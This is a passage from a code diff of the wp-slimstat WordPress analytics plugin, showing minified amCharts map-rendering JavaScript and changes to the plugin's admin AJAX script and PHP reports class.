g=h[e.id];c=b.areasSettings;if(g&&g.className){var m=b.areasClasses[g.className];m&&(c=m,c=AmCharts.processObject(c,AmCharts.AreasSettings,b.theme))}var n=c.color,q=c.alpha,p=c.outlineThickness,A=c.rollOverColor,y=c.selectedColor,s=c.rollOverAlpha,r=c.outlineColor,x=c.outlineAlpha,u=c.balloonText,w=c.selectable,t=c.pattern,z=c.rollOverOutlineColor;this.allObjects.push(e);e.chart=b;e.baseSettings=c;e.autoZoomReal=void 0==e.autoZoom?c.autoZoom:e.autoZoom;m=e.color;void 0==m&&(m=n);var v=e.alpha;isNaN(v)&&
|
211 |
+
(v=q);q=e.rollOverAlpha;isNaN(q)&&(q=s);isNaN(q)&&(q=v);s=e.rollOverColor;void 0==s&&(s=A);A=e.pattern;void 0==A&&(A=t);t=e.selectedColor;void 0==t&&(t=y);(y=e.balloonText)||(y=u);void 0==c.colorSolid||isNaN(e.value)||(u=Math.floor((e.value-l)/((k-l)/b.colorSteps)),u==b.colorSteps&&u--,colorPercent=1/(b.colorSteps-1)*u,e.colorReal=AmCharts.getColorFade(m,c.colorSolid,colorPercent));void 0!=e.color&&(e.colorReal=e.color);void 0==e.selectable&&(e.selectable=w);void 0==e.colorReal&&(e.colorReal=n);n=
|
212 |
+
e.outlineColor;void 0==n&&(n=r);r=e.outlineAlpha;isNaN(r)&&(r=x);x=e.outlineThickness;isNaN(x)&&(x=p);p=e.rollOverOutlineColor;void 0==p&&(p=z);e.alphaReal=v;e.rollOverColorReal=s;e.rollOverAlphaReal=q;e.balloonTextReal=y;e.selectedColorReal=t;e.outlineColorReal=n;e.outlineAlphaReal=r;e.rollOverOutlineColorReal=p;e.outlineThicknessReal=x;e.patternReal=A;AmCharts.processDescriptionWindow(c,e);if(g&&(c=g.area,(g=g.title)&&!e.title&&(e.title=g),c)){e.displayObject=c;e.mouseEnabled&&b.addObjectEventListeners(c,
|
213 |
+
e);var F;void 0!=m&&(F=m);void 0!=e.colorReal&&(F=e.showAsSelected||b.selectedObject==e?e.selectedColorReal:e.colorReal);c.setAttr("fill",F);c.setAttr("stroke",n);c.setAttr("stroke-opacity",r);c.setAttr("stroke-width",x);c.setAttr("fill-opacity",v);A&&c.pattern(A,b.mapScale)}}},updateAllAreas:function(){var a=this.chart,b=a.areasSettings,c=b.unlistedAreasColor,d=b.unlistedAreasAlpha,f=b.unlistedAreasOutlineColor,e=b.unlistedAreasOutlineAlpha,g=a.svgAreas,h=a.dataProvider,k=h.areas,l={},m;for(m=0;m<
|
214 |
+
k.length;m++)l[k[m].id]=k[m];for(m=0;m<g.length;m++)if(k=g[m],void 0!=c&&k.setAttr("fill",c),isNaN(d)||k.setAttr("fill-opacity",d),void 0!=f&&k.setAttr("stroke",f),isNaN(e)||k.setAttr("stroke-opacity",e),k.setAttr("stroke-width",b.outlineThickness),h.getAreasFromMap&&!l[k.id]){var n=new AmCharts.MapArea(a.theme);n.parentObject=h;n.id=k.id;h.areas.push(n)}}});AmCharts.AreasSettings=AmCharts.Class({construct:function(a){this.cname="AreasSettings";this.alpha=1;this.autoZoom=!1;this.balloonText="[[title]]";this.color="#FFCC00";this.colorSolid="#990000";this.unlistedAreasAlpha=1;this.unlistedAreasColor="#DDDDDD";this.outlineColor="#FFFFFF";this.outlineAlpha=1;this.outlineThickness=0.5;this.selectedColor=this.rollOverOutlineColor="#CC0000";this.unlistedAreasOutlineColor="#FFFFFF";this.unlistedAreasOutlineAlpha=1;this.descriptionWindowWidth=250;this.adjustOutlineThickness=
|
215 |
+
!1;AmCharts.applyTheme(this,a,this.cname)}});AmCharts.ImagesProcessor=AmCharts.Class({construct:function(a){this.chart=a;this.reset()},process:function(a){var b=a.images,c;for(c=0;c<b.length;c++)this.createImage(b[c],c);a.parentObject&&a.remainVisible&&this.process(a.parentObject)},createImage:function(a,b){var c=this.chart,d=c.container,f=c.mapImagesContainer,e=c.stageImagesContainer,g=c.imagesSettings;a.remove&&a.remove();var h=g.color,k=g.alpha,l=g.rollOverColor,m=g.selectedColor,n=g.balloonText,q=g.outlineColor,p=g.outlineAlpha,A=g.outlineThickness,
|
216 |
+
y=g.selectedScale,s=g.labelPosition,r=g.labelColor,x=g.labelFontSize,u=g.labelRollOverColor,w=g.selectedLabelColor;a.index=b;a.chart=c;a.baseSettings=c.imagesSettings;var t=d.set();a.displayObject=t;var z=a.color;void 0==z&&(z=h);h=a.alpha;isNaN(h)&&(h=k);k=a.outlineAlpha;isNaN(k)&&(k=p);p=a.rollOverColor;void 0==p&&(p=l);l=a.selectedColor;void 0==l&&(l=m);(m=a.balloonText)||(m=n);n=a.outlineColor;void 0==n&&(n=q);void 0==n&&(n=z);q=a.outlineThickness;isNaN(q)&&(q=A);(A=a.labelPosition)||(A=s);s=
|
217 |
+
a.labelColor;void 0==s&&(s=r);r=a.labelRollOverColor;void 0==r&&(r=u);u=a.selectedLabelColor;void 0==u&&(u=w);w=a.labelFontSize;isNaN(w)&&(w=x);x=a.selectedScale;isNaN(x)&&(x=y);isNaN(a.rollOverScale);a.colorReal=z;a.alphaReal=h;a.rollOverColorReal=p;a.balloonTextReal=m;a.selectedColorReal=l;a.labelColorReal=s;a.labelRollOverColorReal=r;a.selectedLabelColorReal=u;a.labelFontSizeReal=w;a.labelPositionReal=A;a.selectedScaleReal=x;a.rollOverScaleReal=x;AmCharts.processDescriptionWindow(g,a);a.centeredReal=
|
218 |
+
void 0==a.centered?g.centered:a.centered;w=a.type;u=a.imageURL;p=a.svgPath;r=a.width;l=a.height;g=a.scale;isNaN(a.percentWidth)||(r=a.percentWidth/100*c.realWidth);isNaN(a.percentHeight)||(l=a.percentHeight/100*c.realHeight);var v;u||w||p||(w="circle",r=1,k=h=0);s=y=0;x=a.selectedColorReal;if(w){isNaN(r)&&(r=10);isNaN(l)&&(l=10);"kilometers"==a.widthAndHeightUnits&&(r=c.kilometersToPixels(a.width),l=c.kilometersToPixels(a.height));"miles"==a.widthAndHeightUnits&&(r=c.milesToPixels(a.width),l=c.milesToPixels(a.height));
|
219 |
+
if("circle"==w||"bubble"==w)l=r;v=this.createPredefinedImage(z,n,q,w,r,l);s=y=0;a.centeredReal?(isNaN(a.right)||(y=r*g),isNaN(a.bottom)||(s=l*g)):(y=r*g/2,s=l*g/2);v.translate(y,s,g)}else u?(isNaN(r)&&(r=10),isNaN(l)&&(l=10),v=d.image(u,0,0,r,l),v.node.setAttribute("preserveAspectRatio","none"),v.setAttr("opacity",h),a.centeredReal&&(y=isNaN(a.right)?-r/2:r/2,s=isNaN(a.bottom)?-l/2:l/2,v.translate(y,s))):p&&(v=d.path(p),n=v.getBBox(),a.centeredReal?(y=-n.x*g-n.width*g/2,isNaN(a.right)||(y=-y),s=-n.y*
|
220 |
+
g-n.height*g/2,isNaN(a.bottom)||(s=-s)):y=s=0,v.translate(y,s,g),v.x=y,v.y=s);v&&(t.push(v),a.image=v,v.setAttr("stroke-opacity",k),v.setAttr("fill-opacity",h),v.setAttr("fill",z));!a.showAsSelected&&c.selectedObject!=a||void 0==x||v.setAttr("fill",x);z=null;void 0!==a.label&&(z=AmCharts.text(d,a.label,a.labelColorReal,c.fontFamily,a.labelFontSizeReal,a.labelAlign),h=a.labelBackgroundAlpha,(k=a.labelBackgroundColor)&&0<h&&(v=z.getBBox(),d=AmCharts.rect(d,v.width+16,v.height+10,k,h),d.translate(-3,
|
221 |
+
-v.height/2-5),t.push(d)),a.imageLabel=z,!a.labelInactive&&a.mouseEnabled&&c.addObjectEventListeners(z,a),t.push(z));isNaN(a.latitude)||isNaN(a.longitude)?e.push(t):f.push(t);t&&(t.rotation=a.rotation);this.updateSizeAndPosition(a);a.mouseEnabled&&c.addObjectEventListeners(t,a)},updateSizeAndPosition:function(a){var b=this.chart,c=a.displayObject,d=b.getX(a.left),f=b.getY(a.top),e=a.image.getBBox();isNaN(a.right)||(d=b.getX(a.right,!0)-e.width*a.scale);isNaN(a.bottom)||(f=b.getY(a.bottom,!0)-e.height*
|
222 |
+
a.scale);var g=a.longitude,h=a.latitude,e=this.objectsToResize;this.allSvgObjects.push(c);this.allObjects.push(a);var k=a.imageLabel;if(!isNaN(d)&&!isNaN(f))c.translate(d,f);else if(!isNaN(h)&&!isNaN(g)&&(d=b.longitudeToCoordinate(g),f=b.latitudeToCoordinate(h),c.translate(d,f,NaN,!0),a.fixedSize)){d=1;if(a.showAsSelected||b.selectedObject==a)d=a.selectedScaleReal;e.push({image:c,scale:d})}this.positionLabel(k,a,a.labelPositionReal)},positionLabel:function(a,b,c){if(a){var d=b.image,f=0,e=0,g=0,h=
|
223 |
+
0;d&&(h=d.getBBox(),e=d.y,f=d.x,g=h.width,h=h.height,b.svgPath&&(g*=b.scale,h*=b.scale));var k=a.getBBox(),d=k.width,k=k.height;"right"==c&&(f+=g+d/2+5,e+=h/2-2);"left"==c&&(f+=-d/2-5,e+=h/2-2);"top"==c&&(e-=k/2+3,f+=g/2);"bottom"==c&&(e+=h+k/2,f+=g/2);"middle"==c&&(f+=g/2,e+=h/2);a.translate(f+b.labelShiftX,e+b.labelShiftY)}},createPredefinedImage:function(a,b,c,d,f,e){var g=this.chart.container,h;switch(d){case "circle":h=AmCharts.circle(g,f/2,a,1,c,b,1);break;case "rectangle":h=AmCharts.polygon(g,
|
224 |
+
[-f/2,f/2,f/2,-f/2],[e/2,e/2,-e/2,-e/2],a,1,c,b,1);break;case "bubble":h=AmCharts.circle(g,f/2,a,1,c,b,1,!0)}return h},reset:function(){this.objectsToResize=[];this.allSvgObjects=[];this.allObjects=[];this.allLabels=[]}});AmCharts.ImagesSettings=AmCharts.Class({construct:function(a){this.cname="ImagesSettings";this.balloonText="[[title]]";this.alpha=1;this.borderAlpha=0;this.borderThickness=1;this.labelPosition="right";this.labelColor="#000000";this.labelFontSize=11;this.color="#000000";this.labelRollOverColor="#00CC00";this.centered=!0;this.rollOverScale=this.selectedScale=1;this.descriptionWindowWidth=250;AmCharts.applyTheme(this,a,this.cname)}});AmCharts.LinesProcessor=AmCharts.Class({construct:function(a){this.chart=a;this.reset()},process:function(a){var b=a.lines,c=this.chart,d=c.linesSettings,f=this.objectsToResize,e=c.mapLinesContainer,g=c.stageLinesContainer,h=d.thickness,k=d.dashLength,l=d.arrow,m=d.arrowSize,n=d.arrowColor,q=d.arrowAlpha,p=d.color,A=d.alpha,y=d.rollOverColor,s=d.selectedColor,r=d.rollOverAlpha,x=d.balloonText,u=c.container,w;for(w=0;w<b.length;w++){var t=b[w];t.chart=c;t.baseSettings=d;var z=u.set();t.displayObject=
|
225 |
+
z;this.allSvgObjects.push(z);this.allObjects.push(t);t.mouseEnabled&&c.addObjectEventListeners(z,t);if(t.remainVisible||c.selectedObject==t.parentObject){var v=t.thickness;isNaN(v)&&(v=h);var F=t.dashLength;isNaN(F)&&(F=k);var D=t.color;void 0==D&&(D=p);var B=t.alpha;isNaN(B)&&(B=A);var C=t.rollOverAlpha;isNaN(C)&&(C=r);isNaN(C)&&(C=B);var G=t.rollOverColor;void 0==G&&(G=y);var R=t.selectedColor;void 0==R&&(R=s);var P=t.balloonText;P||(P=x);var I=t.arrow;if(!I||"none"==I&&"none"!=l)I=l;var K=t.arrowColor;
|
226 |
+
void 0==K&&(K=n);void 0==K&&(K=D);var L=t.arrowAlpha;isNaN(L)&&(L=q);isNaN(L)&&(L=B);var J=t.arrowSize;isNaN(J)&&(J=m);t.alphaReal=B;t.colorReal=D;t.rollOverColorReal=G;t.rollOverAlphaReal=C;t.balloonTextReal=P;t.selectedColorReal=R;t.thicknessReal=v;AmCharts.processDescriptionWindow(d,t);var C=this.processCoordinates(t.x,c.realWidth),G=this.processCoordinates(t.y,c.realHeight),M=t.longitudes,P=t.latitudes,H=M.length,N;if(0<H)for(C=[],N=0;N<H;N++)C.push(c.longitudeToCoordinate(M[N]));H=P.length;if(0<
|
227 |
+
H)for(G=[],N=0;N<H;N++)G.push(c.latitudeToCoordinate(P[N]));if(0<C.length){AmCharts.dx=0;AmCharts.dy=0;M=AmCharts.line(u,C,G,D,1,v,F,!1,!1,!0);F=AmCharts.line(u,C,G,D,0.001,3,F,!1,!1,!0);AmCharts.dx=0.5;AmCharts.dy=0.5;z.push(M);z.push(F);z.setAttr("opacity",B);if("none"!=I){var E,O,Q;if("end"==I||"both"==I)B=C[C.length-1],D=G[G.length-1],1<C.length?(H=C[C.length-2],E=G[G.length-2]):(H=B,E=D),E=180*Math.atan((D-E)/(B-H))/Math.PI,O=B,Q=D,E=0>B-H?E-90:E+90;"both"==I&&(B=AmCharts.polygon(u,[-J/2,0,J/
|
228 |
+
2],[1.5*J,0,1.5*J],K,L,1,K,L),z.push(B),B.translate(O,Q),B.rotate(E),t.fixedSize&&f.push(B));if("start"==I||"both"==I)B=C[0],Q=G[0],1<C.length?(D=C[1],O=G[1]):(D=B,O=Q),E=180*Math.atan((Q-O)/(B-D))/Math.PI,O=B,E=0>B-D?E-90:E+90;"middle"==I&&(B=C[C.length-1],D=G[G.length-1],1<C.length?(H=C[C.length-2],E=G[G.length-2]):(H=B,E=D),O=H+(B-H)/2,Q=E+(D-E)/2,E=180*Math.atan((D-E)/(B-H))/Math.PI,E=0>B-H?E-90:E+90);B=AmCharts.polygon(u,[-J/2,0,J/2],[1.5*J,0,1.5*J],K,L,1,K,L);z.push(B);B.translate(O,Q);B.rotate(E);
|
229 |
+
t.fixedSize&&f.push(B);t.arrowSvg=B}t.fixedSize&&M&&(this.linesToResize.push({line:M,thickness:v}),this.linesToResize.push({line:F,thickness:3}));t.lineSvg=M;t.showAsSelected&&!isNaN(R)&&M.setAttr("stroke",R);0<P.length?e.push(z):g.push(z)}}}a.parentObject&&a.remainVisible&&this.process(a.parentObject)},processCoordinates:function(a,b){var c=[],d;for(d=0;d<a.length;d++){var f=a[d],e=Number(f);isNaN(e)&&(e=Number(f.replace("%",""))*b/100);isNaN(e)||c.push(e)}return c},reset:function(){this.objectsToResize=
|
230 |
+
[];this.allSvgObjects=[];this.allObjects=[];this.linesToResize=[]}});AmCharts.LinesSettings=AmCharts.Class({construct:function(a){this.cname="LinesSettings";this.balloonText="[[title]]";this.thickness=1;this.dashLength=0;this.arrowSize=10;this.arrowAlpha=1;this.arrow="none";this.color="#990000";this.descriptionWindowWidth=250;AmCharts.applyTheme(this,a,this.cname)}});AmCharts.MapObject=AmCharts.Class({construct:function(a){this.fixedSize=this.mouseEnabled=!0;this.images=[];this.lines=[];this.areas=[];this.remainVisible=!0;this.passZoomValuesToTarget=!1;this.objectType=this.cname;AmCharts.applyTheme(this,a,"MapObject")}});AmCharts.MapArea=AmCharts.Class({inherits:AmCharts.MapObject,construct:function(a){this.cname="MapArea";AmCharts.MapArea.base.construct.call(this,a);AmCharts.applyTheme(this,a,this.cname)}});AmCharts.MapLine=AmCharts.Class({inherits:AmCharts.MapObject,construct:function(a){this.cname="MapLine";this.longitudes=[];this.latitudes=[];this.x=[];this.y=[];this.arrow="none";AmCharts.MapLine.base.construct.call(this,a);AmCharts.applyTheme(this,a,this.cname)}});AmCharts.MapImage=AmCharts.Class({inherits:AmCharts.MapObject,construct:function(a){this.cname="MapImage";this.scale=1;this.widthAndHeightUnits="pixels";this.labelShiftY=this.labelShiftX=0;AmCharts.MapImage.base.construct.call(this,a);AmCharts.applyTheme(this,a,this.cname)},remove:function(){var a=this.displayObject;a&&a.remove();(a=this.imageLabel)&&a.remove()}});AmCharts.degreesToRadians=function(a){return a/180*Math.PI};AmCharts.radiansToDegrees=function(a){return a/Math.PI*180};AmCharts.getColorFade=function(a,b,c){var d=AmCharts.hex2RGB(b);b=d[0];var f=d[1],d=d[2],e=AmCharts.hex2RGB(a);a=e[0];var g=e[1],e=e[2];a+=Math.round((b-a)*c);g+=Math.round((f-g)*c);e+=Math.round((d-e)*c);return"rgb("+a+","+g+","+e+")"};AmCharts.hex2RGB=function(a){return[parseInt(a.substring(1,3),16),parseInt(a.substring(3,5),16),parseInt(a.substring(5,7),16)]};
|
231 |
+
AmCharts.processDescriptionWindow=function(a,b){var c=a.descriptionWindowX,d=a.descriptionWindowY,f=a.descriptionWindowWidth,e=a.descriptionWindowHeight,g=b.descriptionWindowX;isNaN(g)&&(g=c);c=b.descriptionWindowY;isNaN(c)&&(c=d);d=b.descriptionWindowWidth;isNaN(d)&&(d=f);f=b.descriptionWindowHeight;isNaN(f)&&(f=e);b.descriptionWindowX=g;b.descriptionWindowY=c;b.descriptionWindowWidth=d;b.descriptionWindowHeight=f};AmCharts.MapData=AmCharts.Class({inherits:AmCharts.MapObject,construct:function(){this.cname="MapData";AmCharts.MapData.base.construct.call(this);this.projection="mercator";this.topLatitude=90;this.bottomLatitude=-90;this.leftLongitude=-180;this.rightLongitude=180;this.zoomLevel=1;this.getAreasFromMap=!1}});AmCharts.DescriptionWindow=AmCharts.Class({construct:function(){},show:function(a,b,c,d){var f=this,e=document.createElement("div");e.style.position="absolute";e.className="ammapDescriptionWindow";f.div=e;b.appendChild(e);var g=document.createElement("img");g.className="ammapDescriptionWindowCloseButton";g.src=a.pathToImages+"xIcon.gif";g.style.cssFloat="right";g.onclick=function(){f.close()};g.onmouseover=function(){g.src=a.pathToImages+"xIconH.gif"};g.onmouseout=function(){g.src=a.pathToImages+
|
232 |
+
"xIcon.gif"};e.appendChild(g);b=document.createElement("div");b.className="ammapDescriptionTitle";b.onmousedown=function(){f.div.style.zIndex=1E3};e.appendChild(b);d=document.createTextNode(d);b.appendChild(d);d=b.offsetHeight;b=document.createElement("div");b.className="ammapDescriptionText";b.style.maxHeight=f.maxHeight-d-20+"px";e.appendChild(b);b.innerHTML=c},close:function(){try{this.div.parentNode.removeChild(this.div)}catch(a){}}});AmCharts.ValueLegend=AmCharts.Class({construct:function(a){this.cname="ValueLegend";this.showAsGradient=!1;this.minValue=0;this.height=12;this.width=200;this.bottom=this.left=10;this.borderColor="#FFFFFF";this.borderAlpha=this.borderThickness=1;this.color="#000000";this.fontSize=11;AmCharts.applyTheme(this,a,this.cname)},init:function(a,b){var c=a.areasSettings.color,d=a.areasSettings.colorSolid,f=a.colorSteps;AmCharts.remove(this.set);var e=b.set();this.set=e;var g=0,h=this.minValue,k=this.fontSize,
|
233 |
+
l=a.fontFamily,m=this.color;void 0==h&&(h=a.minValueReal);void 0!==h&&(g=AmCharts.text(b,h,m,l,k,"left"),g.translate(0,k/2-1),e.push(g),g=g.getBBox().height);h=this.maxValue;void 0===h&&(h=a.maxValueReal);void 0!==h&&(g=AmCharts.text(b,h,m,l,k,"right"),g.translate(this.width,k/2-1),e.push(g),g=g.getBBox().height);if(this.showAsGradient)c=AmCharts.rect(b,this.width,this.height,[c,d],1,this.borderThickness,this.borderColor,1,0,0),c.translate(0,g),e.push(c);else for(k=this.width/f,l=0;l<f;l++)m=AmCharts.getColorFade(c,
|
234 |
+
d,1*l/(f-1)),m=AmCharts.rect(b,k,this.height,m,1,this.borderThickness,this.borderColor,1),m.translate(k*l,g),e.push(m);d=c=0;f=e.getBBox();g=a.getY(this.bottom,!0);k=a.getY(this.top);l=a.getX(this.right,!0);m=a.getX(this.left);isNaN(k)||(c=k);isNaN(g)||(c=g-f.height);isNaN(m)||(d=m);isNaN(l)||(d=l-f.width);e.translate(d,c)}});AmCharts.ObjectList=AmCharts.Class({construct:function(a){this.divId=a},init:function(a){this.chart=a;var b;b=this.divId;this.container&&(b=this.container);this.div=b="object"!=typeof b?document.getElementById(b):b;b=document.createElement("div");b.className="ammapObjectList";this.div.appendChild(b);this.addObjects(a.dataProvider,b)},addObjects:function(a,b){var c=this.chart,d=document.createElement("ul"),f;if(a.areas)for(f=0;f<a.areas.length;f++){var e=a.areas[f];void 0===e.showInList&&(e.showInList=
|
235 |
c.showAreasInList);this.addObject(e,d)}if(a.images)for(f=0;f<a.images.length;f++)e=a.images[f],void 0===e.showInList&&(e.showInList=c.showImagesInList),this.addObject(e,d);if(a.lines)for(f=0;f<a.lines.length;f++)e=a.lines[f],void 0===e.showInList&&(e.showInList=c.showLinesInList),this.addObject(e,d);0<d.childNodes.length&&b.appendChild(d)},addObject:function(a,b){var c=this;if(a.showInList&&void 0!==a.title){var d=document.createElement("li"),f=document.createTextNode(a.title),e=document.createElement("a");
|
236 |
e.appendChild(f);d.appendChild(e);b.appendChild(d);this.addObjects(a,d);e.onmouseover=function(){c.chart.rollOverMapObject(a,!1)};e.onmouseout=function(){c.chart.rollOutMapObject(a)};e.onclick=function(){c.chart.clickMapObject(a)}}}});
|
admin/js/ammap/images/export.png
ADDED
Binary file
|
admin/js/ammap/images/homeIconWhite.gif
ADDED
Binary file
|
admin/js/slimstat.admin.js
CHANGED
@@ -360,7 +360,7 @@ jQuery(function(){
|
|
360 |
}
|
361 |
}
|
362 |
|
363 |
-
data = {action: 'slimstat_load_report', report_id: report_id, security: jQuery('#meta-box-order-nonce').val()};
|
364 |
SlimStatAdmin.refresh_report(report_id, data);
|
365 |
|
366 |
jQuery('#'+report_id+' .inside').slimScroll({scrollTo : '0px'});
|
@@ -377,7 +377,7 @@ jQuery(function(){
|
|
377 |
if (SlimStatAdminParams.async_load == 'yes'){
|
378 |
jQuery('div[id^=slim_]').each(function(){
|
379 |
report_id = jQuery(this).attr('id');
|
380 |
-
data = {action: 'slimstat_load_report', report_id: report_id, security: jQuery('#meta-box-order-nonce').val()}
|
381 |
SlimStatAdmin.refresh_report(report_id, data);
|
382 |
});
|
383 |
}
|
360 |
}
|
361 |
}
|
362 |
|
363 |
+
data = {action: 'slimstat_load_report', report_id: report_id, security: jQuery('#meta-box-order-nonce').val(), current_tab: SlimStatAdminParams.current_tab};
|
364 |
SlimStatAdmin.refresh_report(report_id, data);
|
365 |
|
366 |
jQuery('#'+report_id+' .inside').slimScroll({scrollTo : '0px'});
|
377 |
if (SlimStatAdminParams.async_load == 'yes'){
|
378 |
jQuery('div[id^=slim_]').each(function(){
|
379 |
report_id = jQuery(this).attr('id');
|
380 |
+
data = {action: 'slimstat_load_report', report_id: report_id, security: jQuery('#meta-box-order-nonce').val(), current_tab: SlimStatAdminParams.current_tab}
|
381 |
SlimStatAdmin.refresh_report(report_id, data);
|
382 |
});
|
383 |
}
|
admin/view/wp-slimstat-reports.php
CHANGED
@@ -1,6 +1,6 @@
|
|
1 |
<?php
|
2 |
|
3 |
-
class wp_slimstat_reports{
|
4 |
// Hidden filters are not displayed to the user, but are applied to the reports
|
5 |
public static $hidden_filters = array('hour' => 1, 'day' => 1, 'month' => 1, 'year' => 1, 'interval' => 1, 'direction' => 1, 'limit_results' => 1, 'start_from' => 1);
|
6 |
|
@@ -8,8 +8,6 @@ class wp_slimstat_reports{
|
|
8 |
public static $dropdown_filter_names = array();
|
9 |
|
10 |
// Variables used to generate the HTML code for the metaboxes
|
11 |
-
public static $current_tab = 1;
|
12 |
-
public static $view_url = '';
|
13 |
public static $meta_report_order_nonce = '';
|
14 |
|
15 |
// Tab panels drag-and-drop functionality
|
@@ -102,15 +100,6 @@ class wp_slimstat_reports{
|
|
102 |
'slim_p7_02' => __('At A Glance','wp-slimstat')
|
103 |
);
|
104 |
|
105 |
-
|
106 |
-
if (!empty($_GET['page'])){
|
107 |
-
self::$current_tab = intval(str_replace('wp-slim-view-', '', $_GET['page']));
|
108 |
-
}
|
109 |
-
else if (!empty($_POST['current_tab'])){
|
110 |
-
self::$current_tab = intval($_POST['current_tab']);
|
111 |
-
}
|
112 |
-
self::$view_url = ((wp_slimstat::$options['use_separate_menu'] == 'yes')?'admin.php':'options.php').'?page=wp-slim-view-'.self::$current_tab;
|
113 |
-
|
114 |
// TO BE REVIEWED AND CLEANED UP
|
115 |
self::$meta_report_order_nonce = wp_create_nonce('meta-box-order');
|
116 |
|
@@ -209,8 +198,8 @@ class wp_slimstat_reports{
|
|
209 |
$filters = implode('&&&', $filters);
|
210 |
}
|
211 |
|
212 |
-
//
|
213 |
-
include_once(
|
214 |
wp_slimstat_db::init($filters);
|
215 |
|
216 |
// Some of the filters supported by the API do not appear in the dropdown
|
@@ -221,43 +210,6 @@ class wp_slimstat_reports{
|
|
221 |
self::$chart_tooltip .= empty(wp_slimstat_db::$filters_normalized['date']['day'])?'<li>'.__('Click on a data point to display the activity chart for each hour of that day','wp-slimstat').'</li>':'';
|
222 |
}
|
223 |
// end init
|
224 |
-
|
225 |
-
public static function fs_url($_filters = '', $_view_url = ''){
|
226 |
-
$filtered_url = !empty($_view_url)?$_view_url:self::$view_url;
|
227 |
-
|
228 |
-
// Backward compatibility
|
229 |
-
if (is_array($_filters)){
|
230 |
-
$flat_filters = array();
|
231 |
-
foreach($_filters as $a_key => $a_filter_data){
|
232 |
-
$flat_filters[] = "$a_key $a_filter_data";
|
233 |
-
}
|
234 |
-
$_filters = implode('&&&', $flat_filters);
|
235 |
-
}
|
236 |
-
|
237 |
-
// Columns
|
238 |
-
$filters_normalized = wp_slimstat_db::parse_filters($_filters, false);
|
239 |
-
if (!empty($filters_normalized['columns'])){
|
240 |
-
foreach($filters_normalized['columns'] as $a_key => $a_filter){
|
241 |
-
$filtered_url .= "&fs%5B$a_key%5D=".urlencode($a_filter[0].' '.$a_filter[1]);
|
242 |
-
}
|
243 |
-
}
|
244 |
-
|
245 |
-
// Date ranges
|
246 |
-
if (!empty($filters_normalized['date'])){
|
247 |
-
foreach($filters_normalized['date'] as $a_key => $a_filter){
|
248 |
-
$filtered_url .= "&fs%5B$a_key%5D=".urlencode('equals '.$a_filter);
|
249 |
-
}
|
250 |
-
}
|
251 |
-
|
252 |
-
// Misc filters
|
253 |
-
if (!empty($filters_normalized['misc'])){
|
254 |
-
foreach($filters_normalized['misc'] as $a_key => $a_filter){
|
255 |
-
$filtered_url .= "&fs%5B$a_key%5D=".urlencode('equals '.$a_filter);
|
256 |
-
}
|
257 |
-
}
|
258 |
-
|
259 |
-
return $filtered_url;
|
260 |
-
}
|
261 |
|
262 |
public static function get_search_terms_info($_searchterms = '', $_domain = '', $_referer = '', $_serp_only = false){
|
263 |
$query_details = '';
|
@@ -515,7 +467,7 @@ class wp_slimstat_reports{
|
|
515 |
break;
|
516 |
case 'user':
|
517 |
$element_value = $results[$i]['user'];
|
518 |
-
if (wp_slimstat::$options['show_display_name'] == 'yes'
|
519 |
$element_custom_value = get_user_by('login', $results[$i]['user']);
|
520 |
if (is_object($element_custom_value)) $element_value = $element_custom_value->display_name;
|
521 |
}
|
@@ -1063,7 +1015,7 @@ class wp_slimstat_reports{
|
|
1063 |
$your_content['trackbacks'] = $GLOBALS['wpdb']->get_var("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->comments} WHERE comment_type = 'trackback'");
|
1064 |
$your_content['longest_post_id'] = $GLOBALS['wpdb']->get_var("SELECT ID FROM {$GLOBALS['wpdb']->posts} WHERE post_status = 'publish' AND post_type = 'post' ORDER BY LENGTH(post_content) DESC LIMIT 0,1");
|
1065 |
$your_content['oldest_post_timestamp'] = $GLOBALS['wpdb']->get_var("SELECT UNIX_TIMESTAMP(post_date) FROM {$GLOBALS['wpdb']->posts} WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date ASC LIMIT 0,1");
|
1066 |
-
$your_content['longest_comment_id'] = $GLOBALS['wpdb']->get_var("SELECT comment_ID FROM {$GLOBALS['wpdb']->comments}");
|
1067 |
$your_content['avg_comments_per_post'] = !empty($your_content['posts'])?$your_content['comments']/$your_content['posts']:0;
|
1068 |
|
1069 |
$days_in_interval = floor((date_i18n('U')-$your_content['oldest_post_timestamp'])/86400);
|
@@ -1096,7 +1048,7 @@ class wp_slimstat_reports{
|
|
1096 |
}
|
1097 |
|
1098 |
if (!$is_ajax && (in_array($_report_id, self::$hidden_reports) || wp_slimstat::$options['async_load'] == 'yes')) return;
|
1099 |
-
|
1100 |
// Some boxes need extra information
|
1101 |
if (in_array($_report_id, array('slim_p1_03', 'slim_p1_08', 'slim_p1_13', 'slim_p1_17', 'slim_p2_03', 'slim_p2_04', 'slim_p2_05', 'slim_p2_06', 'slim_p2_18', 'slim_p2_19', 'slim_p2_10', 'slim_p3_02', 'slim_p3_04'))){
|
1102 |
$current_pageviews = wp_slimstat_db::count_records();
|
@@ -1149,7 +1101,7 @@ class wp_slimstat_reports{
|
|
1149 |
self::show_results('recent', $_report_id, 'searchterms');
|
1150 |
break;
|
1151 |
case 'slim_p1_08':
|
1152 |
-
self::show_results('popular', $_report_id, '
|
1153 |
break;
|
1154 |
case 'slim_p1_10':
|
1155 |
case 'slim_p3_05':
|
@@ -1300,7 +1252,6 @@ class wp_slimstat_reports{
|
|
1300 |
self::show_world_map($_report_id);
|
1301 |
break;
|
1302 |
case 'slim_p7_02':
|
1303 |
-
$using_screenres = wp_slimstat_admin::check_screenres();
|
1304 |
include_once(WP_PLUGIN_DIR."/wp-slimstat/admin/view/right-now.php");
|
1305 |
break;
|
1306 |
default:
|
1 |
<?php
|
2 |
|
3 |
+
class wp_slimstat_reports extends wp_slimstat_admin{
|
4 |
// Hidden filters are not displayed to the user, but are applied to the reports
|
5 |
public static $hidden_filters = array('hour' => 1, 'day' => 1, 'month' => 1, 'year' => 1, 'interval' => 1, 'direction' => 1, 'limit_results' => 1, 'start_from' => 1);
|
6 |
|
8 |
public static $dropdown_filter_names = array();
|
9 |
|
10 |
// Variables used to generate the HTML code for the metaboxes
|
|
|
|
|
11 |
public static $meta_report_order_nonce = '';
|
12 |
|
13 |
// Tab panels drag-and-drop functionality
|
100 |
'slim_p7_02' => __('At A Glance','wp-slimstat')
|
101 |
);
|
102 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
103 |
// TO BE REVIEWED AND CLEANED UP
|
104 |
self::$meta_report_order_nonce = wp_create_nonce('meta-box-order');
|
105 |
|
198 |
$filters = implode('&&&', $filters);
|
199 |
}
|
200 |
|
201 |
+
